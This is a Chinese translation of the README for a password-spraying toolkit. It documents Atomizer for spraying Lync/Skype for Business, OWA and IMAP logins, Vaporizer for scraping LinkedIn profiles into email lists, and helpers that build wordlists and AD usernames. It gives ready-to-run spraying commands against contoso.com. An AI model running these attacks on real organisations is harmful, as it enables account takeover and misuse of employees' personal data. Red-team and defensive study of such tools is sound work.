这个项目不再维护。以下替代项目更好且得到积极维护:
一套 Python 脚本/工具,试图让针对 Lync/S4B 和 OWA 的密码喷洒攻击变得更快速、更轻松、更高效。
欢迎来 Discord 上聊聊!
使用 pip3 按如下方式安装前置依赖:
sudo -H pip3 install -r requirements.txt
如果你不想全局安装这些包,也可以使用 Python 虚拟环境。
一个基于 Asyncio 和 Python 3.7 构建的极速密码喷洒器,适用于 Lync/Skype For Business 和 OWA。
Usage:
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --recon [--debug]
atomizer -h | --help
atomizer -v | --version
Arguments:
target target domain or url
password password to spray
userfile file containing usernames (one per line)
passwordfile file containing passwords (one per line)
Options:
-h, --help show this screen
-v, --version show version
-c, --csvfile CSVFILE csv file containing usernames and passwords
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
-t, --threads THREADS number of concurrent threads to use [default: 3]
-d, --debug enable debug output
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
--recon only collect info, don't password spray
--gchat URL gchat webhook url for notification
--slack URL slack webhook url for notification
--user-row-name NAME username row title in CSV file [default: Email Address]
--pass-row-name NAME password row title in CSV file [default: Password]
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
./atomizer.py owa contoso.com 'Fall2018' emails.txt
./atomizer.py lync contoso.com 'Fall2018' emails.txt
./atomizer lync contoso.com --csvfile accounts.csv
./atomizer lync contoso.com --user-as-pass usernames.txt
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
./atomizer.py owa contoso.com passwords.txt emails.txt -i 0:45:00 --gchat <GCHAT_WEBHOOK_URL>
这是 @OrOneEqualsOne 的 GatherContacts Burp 扩展向 mitmproxy 的一个移植版本,并做了一些改进。
从 Google 和 Bing 抓取 LinkedIn 个人资料,使用指定模式从姓名自动生成电子邮件,并实时执行密码喷洒。
(基于 Atomizer 构建)
mitmdump -s vaporizer.py --set sprayer=(lync|owa) --set domain=domain.com --set target=<domain or url to spray> --set password=password --set email_format='{f}.{last}'
默认情况下,email_format 设置为 {first}.{last} 模式,不是必需参数。
domain 参数是用于根据姓名生成电子邮件的域名,target 参数是要进行密码喷洒的域名或 URL。
安装 mitmproxy 证书,在浏览器中设置代理,访问 Google 和/或 Bing 进行搜索(务必包含 /in):
site:linkedin.com/in "Target Company Name"
电子邮件将按指定格式输出到 emails.txt,并传递给 Atomizer 进行喷洒。
从目标网站抓取所有文本,并将其发送到 AWS Comprehend 进行分析,以生成用于密码喷洒的自定义字典。
仍在开发中
mitmdump -s aerosol.py --set domain=domain.com
将姓名转换为 Active Directory 用户名(例如 Alice Eve => CONTOSO\aeve)
Usage:
spindrift [<file>] [--target TARGET | --domain DOMAIN] [--format FORMAT]
Arguments:
file file containing names, can also read from stdin
Options:
--target TARGET optional domain or url to retrieve the internal domain name from OWA
--domain DOMAIN manually specify the domain to append to each username
--format FORMAT username format [default: {f}{last}]
从 STDIN 读取姓名,使用 --domain 手动指定域:
cat names.txt | ./spindrift.py --domain CONTOSO
从 names.txt 读取姓名,--target 从 OWA 动态获取内部域名(可以传入域名或 URL):
./spindrift.py names.txt --target contoso.com